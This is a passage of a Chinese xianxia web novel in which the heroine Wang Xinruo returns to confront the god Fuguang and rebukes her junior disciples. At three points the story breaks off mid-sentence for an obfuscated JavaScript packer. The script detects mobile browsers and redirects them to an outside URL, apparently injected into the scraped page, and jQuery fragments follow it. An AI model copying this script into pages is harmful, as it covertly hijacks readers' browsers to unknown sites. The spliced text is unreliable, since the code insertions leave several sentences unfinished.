扶光怒极反笑道:“你当真以为孤畏天劫?介时法宝护身,诸神护法,天劫何足道哉?蝼蚁之计,妄揣天威,当真可笑!” 生命最后一刻,云若用尽全力道:“三界……多是蝼蚁,你永远……不会明白。” 慕容修跪坐在地,她的鲜血染红他的衣袍,怀中人逐渐冰冷。 血是热的,天界是冷的。 天界已很多年,没这样直白见过血。 血性是种很奇怪的东西,冷得久了,低头久了,也许就没了。或者不是没了,而是忘了。忘了他们就算没有反抗的能力,也当有反抗的心。于是渐渐敢怒不敢言,寄希望于更高力量的妥协或宽宥,在日复一日的安逸里忘却初心。 虽然,然而。 世上也从不乏飞蛾扑火、以卵击石的人,敢以纤薄身躯,抵抗万钧雷霆。 一定能如愿以偿吗?并不见得。再完美的计划,也许都会崩溃于绝对的力量碾压。 可要不要做?要。 有人嘲笑那些人傻,有人敬佩他们敢,更多的人是叹,叹自己的心早不复少年模样,叹自己的心已在岁月磨砺下坚硬如冰,再不能像他们一样,迸发出这样炽热的火花。 但也总有人,会被血的温度感染,让自己的血,同样沸腾。 这就是飞蛾扑火的意义。 此役不成,留待后人;后人不成,留待后世;世世代代,总有成时。 云若曾以为自己的内心是羸弱的,沉溺于这世上的美丽平静,爱慕这世上的美好温馨,却忽略了它背后的残忍杀伐。 可后来,她了悟,这并不羸弱。 相反,人心之刚强,正因能感悟美好;能感悟美好,才能感悟人心人情,产生心与心间的羁绊。 正是因这份羁绊,给了她一往无前、从容赴死的勇气,让她觉得一切都是值得的。 神也许很强,可神是孤岛。 神不明白蝼蚁的绵延与传承,不懂蝼蚁的血性与理想。 血性与理想,是羸弱蝼蚁们至高无上的浪漫,比风花雪月更动人的浪漫。 这样的浪漫,在绝对的力量面前也许是飘渺虚妄的,可它会随着热血绵延传承。 水滴聚成汪洋,沙砾聚成沙漠,微光聚成太阳。 蝼蚁不死,理想不灭,血性永存。 * 云若化作飞烟飘散。 高阶修士死后皆如此,以天地为墓,神游四海间。 兔死狐悲,物伤其类,云若虽死,那飞烟仿佛飞到每个仙人的心中,令每个人都生出不同想法。 他们最开始,奉神为尊,视神为主,可当神开始随手施予仙人痛苦时,神更意味着巨大的威慑。 起初,无人敢随意挑战神的权威。 当然,曾经有人做出尝试。 他违逆神旨,血洗天界,后墮为魔,自立一界,可颊上的锁仙咒也永远难以祛除,成一生耻辱的烙印。 他没死,是因为师尊仪光神君尚未离开天界,也是因为有人力保。 力保神想屠戮之人,需要付出什么代价,无人知晓。 总之,那之后,天界仙君间关系愈发不好,而力保他的师姐更是频频受劫。 仙君做不到的事,仙人怎么敢轻易为之。 今日却不一样,有人用血告诉他们,扯下虚伪的话术外衣、直面内心地告诉他们: 戮神。 若仙想堂堂正正活着,要戮神。 神不会怜悯,神不会妥协。 神拥有绝对力量,但神可以战胜! 扶光自然感到诸仙望向他的眼神中,带着不一样的情绪。 然而,他不在乎。 他睥着面色颓然的慕容修,不满道:“慕容师侄,你已为仙首,不可如此失态。” 慕容修微微抬眸,言语冷漠,“师叔,修不堪大任,仙界盟主之位,还是留待心若师姐归来罢。” 扶光自然知道他心中有怨,不免有些瞧不上他这无用的情深,哼道:“孤素以为你冷静稳重,杀伐果决,原来是孤看走眼。” “修承蒙师叔错爱。”慕容修起身,自顾自归位,根本未和扶光对视。 “慕容修!你当真以为盟主之位非你不可?”扶光斥道,随后,他手中浮现出仙盟金印,“孤三番四次给你机会,是看重你。既然你无意,那便作罢。这金印,孤便赐予素璇,今后,由她统领天界。” 没有金印,就无法快速号令天界诸修士,无法进入仙盟辖制的诸多区域。 “你为何会有此金印?”仙君坐席中,忽然有一身穿灰布衣袍、身长九尺的男子起身严辞喝问。 男子眉浓如墨,双目如炬,毫不遮掩眼中怒火。 这男子便是厉川掌门陆起,和陶闻生属同门。陆起性刚寡言,上次扶光召集,他与陶闻生二人齐齐未至,十分不给扶光面子。 然而,这样的行为致使关门弟子遭遇神罚,手臂被削。陆起和陶闻生纵是再愤怒,也只能抑着脾气听从扶光召唤。 “陆师侄,你这是……和孤说话的语气?上次的教训,不够让你醒悟么?” 扶光只勾唇一笑,陆起便感到一阵极为可怖的威压自头顶袭来,恍惚万钧之重,压得他喘不过气,撑着不跪下已是用尽心力,更不要说继续言语。 “金印本由神赐,仙命也由神赐,你们要时刻谨记,仙之所以有今日,皆是神赐,神既然能赐予,也能收回。履行神旨,是汝等无上的荣耀!听从神的人,必会受神庇佑;反对神的人,自然为天道所弃。” 扶光走下高座,走到陆起身边,轻轻一拍他的肩膀,他便再无法撑住,重重跪在地上。 陆起一跪,原本坐他身旁的灰袍少年,也就是厉川长老陶闻生愤怒起身。 陶闻生本就在压抑愤怒,此刻更是坐不住,“我陆师兄是顶天立地的好男儿,一身骄傲,从不跪人,如今却被你如此折辱。有本事,你就把我们都杀了,与其被你羞辱,我看像云姑娘一般死了倒好,这仙君做的委实憋屈!” 他望向旁边诸仙,颇是恨铁不成钢道:“你们的心都是冷的吗?今日云姑娘的死就没让你们明白什么吗?这老贼五百万年前就想搞事,当时师尊和师姐在,他搞不成,如今师尊师姐不在,他趁人之危,想搞乱天界,把天界变成他的地盘……你们就甘愿做他的狗?” 他对面一蓝衣男子起身,言语冷淡道:“你虽然从小到大都不怎么会说话,可这次尚有几分道理。我宁愿不做这神仙,也不想当狗。” 素璇见气氛剑拔弩张,想缓和一番,柔声道:“陶仙君、裴仙君,二位先冷静。神君只是见地界这些年来一直祸乱频生,天界近日又无人作主,从而心怀担忧,你们莫要误会神君好意。素璇也自知资历不足,无以担负天界重任,素璇恳请将金印交给幕容仙君。” 素璇清楚,如今两方如此不融洽,即便她上位,也不会有好结果。还不如做个顺水人情,让仙君知道自己和扶光性情不同,纵然他们怨极扶光,也不会牵连自己。 她理解师尊野心,自己却并不热衷仙盟之位,反而对是否能真正成为慕容修道侣这件事比较在意。 至于赵玄檀……她历情劫遇到的就是玄檀仙君,他的确俊美无俦,温柔体贴,有说不完的甜言蜜语,可也太过风流多情,和他无数仙婢斗智斗勇耗费她许多心力。那些女子个个狐魅惑人,她自觉无法从中脱颖而出,倒不如另择一人,托付终身。 陶闻生冷嗤:“你是他徒弟,自然替他说话。不过你也还算有些自知之明,盟主之位,你确实不配。” 素璇被他说得脸一阵红一阵白,却又不能发脾气,只能低眉顺眼道:“陶仙君说的是。” 正当素璇尴尬时,另一道温和的声音响起。 “陶师弟何必为难素璇师妹?我认为神君担忧不无道理,师姐历劫不归,许师兄心魔出体、至今杳无消息,地界动荡频繁,总要有人掌控大局,可慕容师兄并不愿意。既然如此,在扶光师叔指导下,素璇师妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,就在蓝蝶刚触碰到他喉管时,一只纤细素手忽然出现在他眼前。 那只手莹白如玉,腕上佩戴着血红的镯子。 那只手的拇指和食指轻轻捻住蓝蝶,而蓝蝶竟不能再进一步。 然后,指尖轻轻一捻,蓝蝶破碎,散作荧光。 没有人提前发现她的到来,可她来了。 就这样凭空出现。 无声无息,无踪无迹。 她穿着云渚的素白广袖道袍,背着银光长剑,手持玉柄拂尘。雾髻云鬟松挽,木簪斜缀,云纹白缎相系,散落在她乌云般的长发间,出尘逸世、放旷自然。 眉如轻柳,眸聚星月,眉心一点银莲印记,玉质如霜。 她道:“小十,坐回去。” 而后,她轻步上前,在众人震惊的目光中温柔扶着陆起站起来,沉静的目光缓缓扫过在场所有人。 慕容修首先反应过来,起身拜道:“云渚慕容修拜见大师姐,恭贺师姐历劫归来。” 裴嘉、陆起紧随其后,“丹门裴嘉,厉川陆起,拜见大师姐!” 陶闻生更是高兴得没边,就差没三叩九拜,站在她后面大声道:“陶闻生拜见师姐,师姐师姐,你可算回来了!这老头想夺权篡位,他还把宜均关在地牢里,你快去救救宜均吧!” 傅钰嘴张的能放下鸡蛋,话也说不顺了,“心、心若师姐,衍宗傅钰拜见师姐。” 傅钰之后,诸仙皆起,问好之声响彻殿上。 最后,她目光落在最淡然的吴秋行身上。 方才殿上每人所言,她皆有耳闻。 自然也包括吴秋行所言。 吴秋行起身,并无心虚之态,只是微微屈身,气定神闲道:“衍宗吴秋行,恭迎师姐归来。” 她颔首应下。 而后,她望向扶光。 “师叔既然不愿与他们说话,那,我来。” 21. 秋行 21.秋行 扶光怎么也料不到,王心若会在此刻历劫归来。 他微眯着眸,似是尚未反应过来,迟迟不语。 王心若也不催,随手化出一把椅子,施施然坐下。 “师叔慢慢想,不着急。师叔想多久,心若等多久。” 她坐在那处,安稳不动,眸光平淡,不急不躁。白玉似的面容上带着礼节性的浅笑,温婉平和,看起来却极让人安心。 扶光冷哼,拂袖归位,居高临下问道:“师侄是否太不把孤放在眼里?” 她抬眸,语带疑惑,“心若一向尊师重道,不知师叔何出此言?” “见孤不拜,杀孤灵蝶,汝安敢言尊师重道?” 王心若淡淡道:“师叔,事急从权。小十最爱说话,您夺他语言能力,岂非诛心之举?心若纵有千般不好,也只有一处好,那便是护短。想在我眼皮下伤他们……绝无可能。” 绝无可能四个字,她微微念重。美目一转,向上望去,眸中毫无惧色。 扶光望着她的眼睛,心中微惊。 很多年前,明明还不是这样。那时的王心若虽也修为远超诸仙,但在神面前,却无这般底气。 她言语温和隐忍,礼节面面俱到,上敬天神,下爱众仙,办事稳妥,谦顺和婉,在诸神眼中,的确是接管天界的最佳人选。 起初,扶光也这样认为。他甚至努力将素璇培养成这般姿态,以期有朝一日,王心若退任,能让素璇接班。 直到后来,郑含元叛乱一事中,王心若不顾一切替他求情。 众神之中,最震怒的不是他,而是仪光师兄,她的师尊。 王心若是仪光亲手带大的,甚至可以说……是他亲手赋予她生命。 他不仅是她的师尊,也是她凡间意义上的父亲。 万物初始,天界空荡,仪光路经瑶池,见其中一朵素莲长得极美,心生怜爱,故日日前往照看。 素莲沾染神的灵气,生出灵识,仪光甚喜。 而后,仪光自取一段肋骨,为素莲铸筋造骨,素莲终于化出人形。 仪光为她取名为王心若。 参通天、地、人三者为王,而心若即心顺也。 仪光希望他栽培出来的莲花仙,即有睥睨天下的气度,也有无忧纯粹的一颗心。 郑含元是仪光真正意义上收的第一个弟子,却也是仪光最不满意的一个弟子。 所以后来,当王心若宁愿剐去一身神骨,也要保住郑含元时,仪光极为愤怒失望。 也是在那时,仪光身为诸神之首,作出带领诸神离开三界的决定。 …… 扶光以为,就算王心若轻重是非不分,但同某几个师侄相比,好歹对神还存敬畏感恩之心。 然而今日,她的针对与忤逆摆在明面。 “神离开这些年,你的心野了,愈发记不得自己是谁。” 王心若敛眸道:“心若一向恪守本分,只怕记不得自己是谁的人,是师叔。” “放肆!”扶光怒喝,他周围忽然灵气大盛,袅袅灵气忽然凝成铺天盖地而来的数百只淡蓝灵蝶,直往王心若冲去。 蓝蝶出袖只在瞬息间,王心若安稳端坐,背着的银剑却陡然出鞘,直直插入她面前的大地上,晕开一层肉眼不见的银光波纹。 蓝蝶触及银波一刹,像薄纸落在烈火中一般悉数燃烧,化作淡金色的灰烬,宛如陨落的星光。 数百只蓝蝶化作数百点星光,如众星拱月般散落在王心若周身。碎星银光,映得她白衣渡了层流金。 诸仙才反应过来,短短一息,扶光和王心若便完成一次紧迫的交锋。 扶光未用全力,可一次交手,足以让他试探出王心若如今修为。 她比五百万年前更强。 明明当年修为就已达半神所能触及的巅峰,为何还能精进? 比起她的不逊,这件事更令扶光感到惊忧。 如果天界修士中,有人能突破天定上限,此人对神而言,是极大威胁。 “师叔,你我贸然动手,谁都不会有好结果。”王心若起身,把地上的剑拔起,收回剑鞘中。 殿上方忽然传来丝纹裂声。 古钟裂了。 “王心若,”扶光忽然念她名字,“你今日所为,孤会一一告诉诸神。而且,神旨已下,你今非仙盟盟主,无法号令诸仙,孤劝你收敛气焰。” “师姐都回来了,凭什么不把盟主之位交还予她?”陶闻生不满。 王心若轻扫一眼那仙盟金印,轻笑道:“倒也不必,既然师叔不满我坐这个位置,我便不坐。我刚刚看,师叔是想把盟主之位交给阿修,我对此安排并无意见。” 慕容修忽然被提名,赶忙推辞道:“师姐,万万不可。修并无提领天界之能,不堪当此重任!” 扶光打断二人,“这金印,孤不会给你们任何一人,孤要将之交给……” 他眼神停在素璇身上,却只短暂停留,最终落在敛眸不语的吴秋行身上。 “孤要交给吴师侄。” 吴秋行还未表态,陶闻生立马道:“不行!他给天界做过什么,凭什么担此大任?” 裴嘉接过话茬,“你怎么这么蠢?吴师弟最听师叔的话,所以师叔觉得他最合适。” 王心若直接对二人施了禁言咒,望向扶光,“心若对此安排并无异议。吴师弟向来是个有主意的人,天界在他手上,应会越来越好。” 这样的决定让慕容修和陆起也脸色微变。 身在视线中心的吴秋行却不紧不慢起身,淡漠回道:“师姐从来都叫我小九,如今却生疏许多。” 王心若但笑不语。 “看来当年之事,小九的确让师姐伤心了。”吴秋行视线落在她身上,语气莫测。 而后,他勾起唇角,走上前去,朝扶光恭敬一拜,“秋行谢师叔信任,愿接任仙盟盟主之位,日后必谨遵神旨,勤勉克己。” 扶光十分满意,将金印放在他手上,“吴师侄,不日后,孤亲为你举办继任大典。” 这次集会,便以仙盟易主结束。 扶光和王心若并不会轻易动手,他们若起真招,天界必有动荡。 衡量之下,也只好暂别。 扶光离开时,王心若对他道:“师叔,你我来日方长。” 扶光望着她,忽然笑道:“师侄,你以为孤是一人么?你的一言一行,不是孤在看,是神在看。和你来日方长的,不是孤,是所有神。你不会以为,你真的有与孤一战的资本吧?” 王心若本想回他:“师叔,心若常听说,剑修常死于剑下,善泳者亦会溺亡……愿神,永远没有那一天。” 但逞一时口舌之利,于大局无用。 她也就付之一笑,恭送他离去。 * 扶光走后,诸仙君皆跟随王心若离开朝华古钟。 因接替王心若盟主之职,吴秋行隐约被诸人排斥,远远落在后面,只有傅钰、素璇跟在他身旁。 “吴仙君,心若仙子是不是对你很不满?”素璇有意与他亲近,便轻轻靠近他,语含担忧问道。 吴秋行抬眸轻扫前面那被诸仙簇拥的白衣女子,眸光微动,“她不会。” “可……可她都换了称呼……” 吴秋行沉静双眸中忽有一丝阴翳,却很快消失,依旧淡然道:“不过是小事。” 傅钰觉得此处气氛略压抑,悄悄走到前面,挤到王心若身边。 王心若刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137503|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解开陶闻生和裴嘉的禁言咒,陶闻生便急不可耐道:“师姐,你怎么没好好教训一番扶光那老头?还有吴秋行那个大叛徒!简直气死我了!” 王心若扫他一眼,“教训扶光?我杀扶光可以,杀他之后,诸神能放过我?若师尊杀我,你们谁能抵得住?” 陶闻生声音渐小,“师尊最喜欢你,怎么会杀你……” “小十,几百年不见,你当真一点长进也没。祸从口出,你没本事,就少惹事。” “师姐,我!”陶闻生没等来温柔的安抚,却被批了一番,只好委屈地闭嘴。 王心若没理他,问慕容修:“盟主之位,起初给你,为何不接?” 慕容修道:“师姐,修自认无能,担不起此等大任……” 王心若笑了一下,“你确实无能。” 此话一出,周围众人脸都僵了。 从前师姐可最是看重慕容修,从不对他说一句重话,今日却翻脸无情。 王心若继续道:“你接任与我接任有何区别?不过是你来做盟主,我来做掌门的区别。你终日为仙盟操劳,始终无名无份,如今给你名分,你自己倒不要。到底在谦虚什么?不是无能是什么?” 慕容修无言以对,只能低声告罪。 裴嘉忍不住为慕容修说话:“师姐,你来当盟主是众望所归,除了吴秋行谁这么不要脸抢你位置?” “扶光已下神旨,我夺回盟主之位并非不可,届时你们都算违抗神旨,脸上可是会有锁仙咒的。纵然你们不在意,小十一最爱美,他能不在意?” 裴嘉被说得愈发不好意思,“原来师姐是为我们着想……” “小七,你是丹门掌门,炼丹是正事,耍嘴皮子不是。” 裴嘉忙没帮成,自己反被训一顿,心里颇不是滋味。 傅钰本想和师姐说说话,却没想到今日师姐并不温柔,反而对他们一番怼,可见对他们这段时间所为极为不满,他也就缄默不语,以求避过一劫。 不过,一般怕什么来什么,很快,他听到师姐温柔唤他,“小八,怎么站那么后面?” “啊……心若师姐……”傅钰吞了口口水,走上前去。 “最近写了什么新话本?” 怎么问起这个?傅钰虽然疑惑,但好歹师姐没批他,于是他老实回道:“写了《鬼域秘话》《玄檀情史十六则》。” “哦……挺高产。你去过鬼域?” 傅钰呵呵笑道,“师姐,干我们这行的,都靠想象力。” 王心若嗯了一声,没再说话。 师姐竟然没训他?傅钰惊讶万分。 谁知,王心若淡淡说了句:“反正你不务正业也不是一年两年,师姐习惯了。” 周围传来几声低笑。 王心若往身边看去,看到一旁面色复杂的陆起。 陆起身材十分高大,在他们之中显得很突出。 王心若轻轻拍了拍陆起的肩,陆起的心也随着她的手一跳。 来了,来了。 轮到他了。 “小六……你……” “师姐……我……” “你……”王心若仔细想了想,道:“你又长高了。” 陆起:…… 众师弟:…… 令人窒息的对话。 一番半正经半不正经的谈话后,王心若终于正色问道:“今日扶光为何会来天界,你们缘何与他起了冲突?都仔细说与我听。” 正当慕容修要把惊鸿派事件的始末告诉她时,吴秋行从后面走到王心若身边。 他的出现,让原本热络的气氛又冷了起来。 吴秋行浑然不在意,只望着王心若道:“师姐,小九有话,想单独和师姐说。” 22. 玄檀 22.玄檀 “有什么话非要单独说?都是师兄弟,听听不行么?”陶闻生当即站出来,拦在王心若身前。 吴秋行只望着王心若,不理会他,“师姐若觉得你们可以听,我也没有意见。” 陶闻生还想说什么,被王心若再次禁言,回头吩咐:“阿修留下,你们先回各自门派。晚些,我再去找你们。” 这个“找你们”,让诸师弟听出算账的意思。 除了慕容修留在原地,其余人遵从吩咐,各自散去,王心若跟吴秋行走到一旁。 永夜孤寂,零星幽光照人容颜,把目光都映得寒冷。 “师姐,你想弑神。” 不是疑问,是肯定。 王心若没有回答,反而问道:“师弟以为呢?” “小九以为,神不惟扶光。” 王心若轻笑,“这话说得放肆。” 吴秋行摇摇头,忽然托起她的右手,凝着手腕上嫣红如血、与肌肤几乎紧密贴合的红玉镯道:“所以,这就是师姐的选择?师姐……根本没用真身历劫吧?” 王心若笑容渐淡,将手从他手中缓缓抽回,“衍宗掌门,果然博学广知。” 吴秋行手微僵硬在半空,而后收回衣袖中,垂首一笑:“妥协不能救世,慈悲无以生存。师姐是了悟了,可小九更想念以前的师姐,也后悔当初帮师姐推衍天数……不知来年,师姐取下它后,会否遗憾自己所为?” 她望向吴秋行的目光微冷,“你到底想说什么?” 吴秋行抬眸,深邃双眼在星光映照下隐有光彩,笃定道:“师姐……小九只想说,小九是可以信任的,比其他任何人都可以信任。” 王心若望他良久,而后轻扫一眼辽远夜海,轻勾唇角,不带任何情感色彩地嗯了声。 “吴师弟,如无他事,我走了。”她向他颔首,转身离去。 吴秋行久久凝视她的背影,识海中突然传来熟悉的声音。 ——“小九,师姐一直都是相信你的,但你也要相信师姐。” 平静的目光被炽火点燃,眼神倏然明亮,他脚步微动,像是想追上前去,却终抑住步伐,看那两道白衣身影御剑离去。 “……师姐,我明白了。” 他仰望天海,夜色浓得似化不开的墨,终也发出如夜色般沉郁的叹。 * 王心若打算先同慕容修回云渚。 一路御剑,她面无表情听他讲完惊鸿派事件的起因和后果。 “流光呢?师叔不是让你们抓他回来么?”她问。 慕容修不好直言,只好委婉道:“任师弟是师姐的剑灵,我等不敢妄动。” “哦,”王心若道:“那我亲自把他抓回来。” “任师弟最近情况不大好,师姐是不是晚些再……” 她打断道:“就因状况不好,才要快点见他,难不成让他和阿淳一样生出心魔?” 提起许道淳心魔一事,慕容修颇是愧疚。“此事却是修疏忽……” “阿修,你最大的问题是优柔寡断,所以有时杀伐果决,有时却犹疑不定。可这样,往往会让想杀的杀不了,想留的留不住,左右为难,进退维谷。就像……”她略自嘲一笑,“当年的我一样。” “师姐……” “若我是阿淳,便会将那段记忆引出。既然求而不得,不如相忘江湖,放过自己也放过别人。” 慕容修微怔,“师姐,原来你是这样想的么?” 他其实也隐藏了些事,虽然告诉她许道淳与云若前世今生的羁绊,却没告诉她,他自己也是局中人。 王心若颔首,“有人劫数应在人间那些年,有人劫数却在回来这几年。总是要苦的,先苦后苦罢了。人间苦倒没什么,怕就怕回来后想不通,阻了仙途,乱了道心。” “但若得以重逢,想要补偿呢?” “你想补偿,别人就一定要受么?若别人不受,你强让她受,难道不是另一种伤害?说到底,想补偿,是为全自己歉疚之心,让自己好过。你仔细想想,这难道不自私么?” 慕容修忽然觉得有千钧巨石堵在胸口,忽然很压抑,“那便无解,只能受着。” “这是惩罚,不应该么?若受不了,就弃了这段记忆。” 二人说话之际,已然到云渚镜心崖。 崖内洞府,双目紧闭、面色苍白的许道淳躺在床上。 屏退侍奉弟子后,二人走到床边。 “一直昏迷不醒?” “是。” 王心若坐在床边,抚了抚许道淳额头,感到无比冰冷。 掌中凝银光,渐渐输送入他体内。 慕容修站在旁边等候。 “他的识海完全封闭,我只能勉强从中窥见一条昏黄长河,若猜的没错,心魔在冥京忘川。” 忘川河,孤魂野鬼聚集之处。 也许是心怀一线希望,寻找着什么人。 郑含元统一地界以来,就自封结界,也难怪他们找这么久毫无音讯。 然而郑含元被封印许久,如今的鬼域不知成了什么模样。 “再去看看玄檀吧。”事情总要一件一件做。 * 自在门是与云渚完全不相同的存在,云渚放眼望去像一片白茫茫的雪,而自在门却花哨得像富丽堂皇的宫殿,雕栏画壁,仙草名花,处处透出“穷奢极欲”的风气。 殿门柱上雕刻着八个字:“大道随心,自在天下。” 旁边悬挂着十二幅巨大的美人图,据说是柳宜均历经三界见过的十二位最美的人。 十二美人图是柳宜均近年所绘,王心若并未见过。 王心若看着第一幅图,正是九重天永夜中手捧银莲、唇带浅笑的自己,若有所思点点头,“小十一画技有进步。” 望见第二幅图中打扮华丽,神态高傲的柳宜均,略带嫌弃道:“似是美化了自己。” 第三幅图画的是倚在树边饮酒的素袍男子,那身云渚道袍被他穿得放浪不羁,赤纹长剑同他一般斜靠在树边。 王心若盯着那图看了一会,眼神微动,却什么也没说,只是沉默打量完后面图画。 “阿修,原来你才排第九,比阿淳还要靠后些。” 一旁正在安静等候的慕容修:…… 去找赵玄檀的路上,遇见许多自在门弟子,除却穿金戴银,华丽金贵的弟子,也有许多打扮怪异之人。 受了无数弟子见礼,才被领至赵玄檀修养的宫殿。 之所以不直接飞去,是因为王心若他们压根摸不清赵玄檀会在哪个宫殿住。 他性子变得极快,最长不超过半月,便要换一次居所。 赵玄檀倒是没昏倒,只是卧床修养,他穿着金色寝衣,半躺锦帐之中,正在品尝美貌侍女素手递来的葡萄。 慕容修极不适应赵玄檀寝殿中氛围,不知如何开口。王心若看他眉头愈发皱起,便让他在外等候。 赵玄檀看见王心若进来一瞬间,赶紧把侍女屏退下去,却留下那一盘葡萄。 他一副要下床见礼的样子,急问道:“玄檀见过师姐,师姐何时回来的?” 王心若把他摁回床上,“方才,你少动。” “师姐怎不修养多日?一回天界便前来探望,玄檀十分感动,也无比愧疚……” 赵玄檀有一双含情桃花目,在他眼中,一分忧色也会漫成十分深情。 王心若呵了一声:“你做的事若有你说的话那般好,我也不会来探望。” 赵玄檀笑容瞬间凝在脸上。 “师姐,你……” “我怎么?觉得我没以前温柔?没以前耐心?” “不不,玄檀不敢……” 王心若叹息,帮他捋了捋散落的头发,带着微笑轻声道:“我就是以前太温柔耐心,才让你们这么怠惰,连扶光也应付不好。你好歹是当过帝王的人,虽说是亡国昏君,但也算与其他人不同,可要担负起责任来。” 赵玄檀听到‘亡国昏君’四个字,感觉被火凤伤到的背部又痛了几分。 “你喜欢谁,你要讨谁欢心,只要你不强取豪夺,师姐从不在乎,师姐只在乎你……”王心若停顿一下,眼见赵玄檀眼中浮上一抹感动,然而,她继续道:“师姐只在乎你帮女孩子讨件衣服都讨不到,反而被灵兽所伤这件事,着实丢脸。” 赵玄檀感动之色瞬间凝固,脸色瞬间白了几分。 王心若却一点也不心疼他,轻轻拍拍他僵住的脸,声音愈发温柔:“玄檀,不但如此,你还带累人家女孩被关进地牢,在师姐看来……你,真,的,很,不,行。” 你真的很不行…… 你真的很不行…… 这句话像魔咒一样回响在他耳边,赵玄檀手中葡萄也滚落在一旁。 “师姐……我,我行的。” 没底气。 很没底气。 “你行?” “我行。” “你真行?” “我真的行!” 王心若忽然俯下身,美目直直凝视着他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137504|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵玄檀见她离得这么近,即便惯见美貌的他也不禁被这等容颜震慑,连呼吸都放缓。 如诗如画天边月,若隐若现月上光。 心跳加快的他,却听见王心若幽幽道:“你要是行,就依靠自己的力量,把小十一和那姑娘从地牢中救出来。” 他惊道:“师姐,你……你不帮我?” “我凭什么帮你?你我同为仙君,你的境界也就比我低一点。” “低一点???” 是低亿点吧! 王心若叹了声,“玄檀,若我没回来,你便不救了么?若我死了,你便不救了么?他们都是你自在门的弟子。在人间你是君王,在天界你是仙长,在自在门你是掌门,你要担起责任。” 赵玄檀一时反应不过来,只能随着她的话点点头。 “好师弟。”王心若宽慰一笑。 赵玄檀跟着一笑。 “给你十日。” “什么?”赵玄檀没反应过来。 王心若忽然敛起笑容,冷声道:“给你十日,养好伤,多练法术。把小十一和黄姑娘从地牢里救出来,明白么?若做不到,你这自在门掌门的位置,我看也该让贤。” “师姐?那仙盟地牢岂是容易闯的,我……” “你一个人闯不进去就带弟子闯,不知道怎么闯就去问慕容修、问吴秋行、问陆起、问裴嘉,带他们一起闯。师姐不在,阿修不在,阿淳不在,你就是老大,他们都是你的师弟,你要主动点,明白么?” 被王心若一通说,赵玄檀感到头顶阴云密布、电闪雷鸣。 她放软语气,“不要让师姐对你失望,师姐若对你失望,三界女子都会对你失望,都会认为你玄檀仙君不行。你想想,那时,你在傅钰话本中的形象会成什么样?” 赵玄檀光是想,都觉得陷入一片令人痛苦的黑暗。 “师姐,你为什么说得这么……” 这么像临终托孤。 王心若笑了笑,“因为师姐信任你。玄檀,这是师姐给你的机会,你嘴巴最甜,最会说话,若能趁此机会团结诸师弟,令他们重修旧好,岂不是立一大功?那时天界谁不夸你英明仁爱?谁还会说你昏庸无能?” 赵玄檀原本有些心灰意冷,一听王心若这么说,心中死火复燃,伤口也不那么疼了。 原来师姐不是觉得他无能,而是信任他! “师姐,我一定行!玄檀必不负师姐所托,将宜均和阮阮救出来!”赵玄檀也不顾伤痛,撑着下地,朝她拜道。 王心若点点头,便告辞了。 她出门后,与慕容修一同往下界飞去。 慕容修才想起鬼王之事,禀报于她。 “你认为炼制鬼王的是郑含元?” 慕容修点头。 “不是他,”她笃定道:“你不用找了,那人不会再出现,也不会有人再炼制鬼王。” “为何?” 王心若沉思片刻,忽然道:“阿修,若我说……那人是我呢?” 慕容修怔住。 “怎么可能……师姐,你不是去历劫了么?” “若我已经可以不用真身历劫呢?”她含笑问道。 慕容修却感到周身一冷,“师姐……您不是最慈悲温柔的么?像炼鬼王这样,逆天而行的无道之事……” 怎么会是师姐做的? 怎么可能是师姐做的? 王心若望着他复杂的表情,叹了声:“小九说得对,你们是无法接受的。” 慕容修正处于震惊中,感到一缕银线般的灵力闯入他的识海。 一瞬,将什么东西席卷起来,瞬间湮灭。 待他反应过来时,眼前便是王心若温和柔美的笑容,耳边是她关切的问候。 “阿修,你怎么了?” 慕容修觉得好像忘了什么,却完全想不起来。 怎么会在师姐面前走神?他有些懊恼,抱歉道:“师姐,修走神了。” 王心若若无其事道:“你鲜少如此,想来是最近太累了。” “师姐现在下界,是去找任师弟么?” 王心若点头。 谁知二人来到惊鸿派时,门派中已无人。 只在前堂桌上发现一张纸,简单写了三个字:鬼域见。 王心若拿起纸,道:“这狗爬样的字,是他啊。” “师姐,你要去那里么?” 王心若将纸条收起,“你回天界,找玄檀一趟,他现在必想见你。我去会会……郑含元。” 23. 鬼域 23.鬼域 万里鬼域十二城,是由原本的妖都、冥京和混沌界合并而来。 合并后,王心若几乎再没踏足。 告别慕容修后,她在惊鸿派内逛了一圈。 不为别的,只因觉得这里一切十分熟悉。 而后,她坐在前堂,放出诸多神识,以自己为中心,向四周探查,循着气息找寻人间与地界的缝隙。 自从郑含元给地界下了封印后,那缝隙便难寻起来。 郑含元给她留了字条,想来也是从附近走的。 终于在一处探得熟悉气息。 循着气息,她走到庭院中,进了一间房。 房间桌椅床铺齐全,她走至一面墙前。 看到这面墙,王心若忽然头疼起来,记忆的碎片飞速闪过,却什么也抓不住。 缝隙应该就在这里了。 